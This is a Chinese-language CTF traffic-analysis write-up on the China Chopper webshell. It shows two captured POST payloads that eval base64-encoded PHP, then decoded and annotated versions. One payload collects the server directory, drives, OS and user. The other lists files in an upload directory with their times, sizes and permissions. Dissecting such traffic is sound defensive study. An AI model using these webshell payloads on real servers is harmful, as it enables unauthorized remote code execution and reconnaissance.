【CTF】Misc流量分析题：功夫再高也怕菜刀，全网最全解析

aa=@eval
(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

// 关闭错误显示
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制，允许脚本无限期运行
@set_time_limit(0);

// 关闭魔术引号，该功能会自动在字符串的引号前添加转义字符
@set_magic_quotes_runtime(0);

// 输出开始分隔符
echo "->|";

// 获取当前脚本的目录路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") {
    // 如果SCRIPT_FILENAME为空，则尝试使用PATH_TRANSLATED
    $D = dirname($_SERVER["PATH_TRANSLATED"]);
}
// 将目录路径添加到变量R，并添加制表符作为分隔
$R = "{$D}\t";

// 检查目录路径是否以根目录符号"/"开头
if (substr($D, 0, 1) != "/") {
    // 如果不是，遍历A到Z的驱动器，如果存在，则添加到R
    foreach (range("A", "Z") as $L) {
        if (is_dir("{$L}:")) {
            $R .= "{$L}:";
        }
    }
    // 添加制表符作为分隔
    $R .= "\t";
}

// 使用posix_getegid和posix_getpwuid获取当前用户的用户名，如果函数不存在，则使用get_current_user
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
// 将系统信息和用户信息添加到R
$R .= php_uname();
$R .= "({$usr})";

// 打印结果
print $R;

// 输出结束分隔符
echo "|<-";

// 终止脚本执行
die();

aa=@eval
(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWQ%3D

// 关闭错误显示
@ini_set("display_errors", "0");

// 移除脚本执行的时间限制
@set_time_limit(0);

// 关闭魔术引号
@set_magic_quotes_runtime(0);

// 输出开始分隔符
echo "->|";

// 解码通过POST方法传递的路径
$D = base64_decode($_POST["z1"]);

// 尝试打开目录
$F = @opendir($D);
if ($F === NULL) {
    // 如果目录打开失败，输出错误信息
    echo "ERROR:// Path Not Found Or No Permission!";
} else {
    // 初始化变量用于存储目录和文件列表
    $M = NULL;
    $L = NULL;

    // 读取目录中的每个条目
    while ($N = @readdir($F)) {
        $P = $D . "/" . $N; // 构建完整的文件路径
        $T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件最后修改时间
        $E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . ""; // 构建输出格式

        // 根据是否为目录，将文件或目录信息添加到相应的变量中
        if (@is_dir($P)) {
            $M .= $N . "/" . $R;
        } else {
            $L .= $N . $R;
        }
    }

    // 输出目录和文件列表
    echo $M . $L;

    // 关闭目录句柄
    @closedir($F);
}

// 输出结束分隔符
echo "|<-";

// 终止脚本执行
die();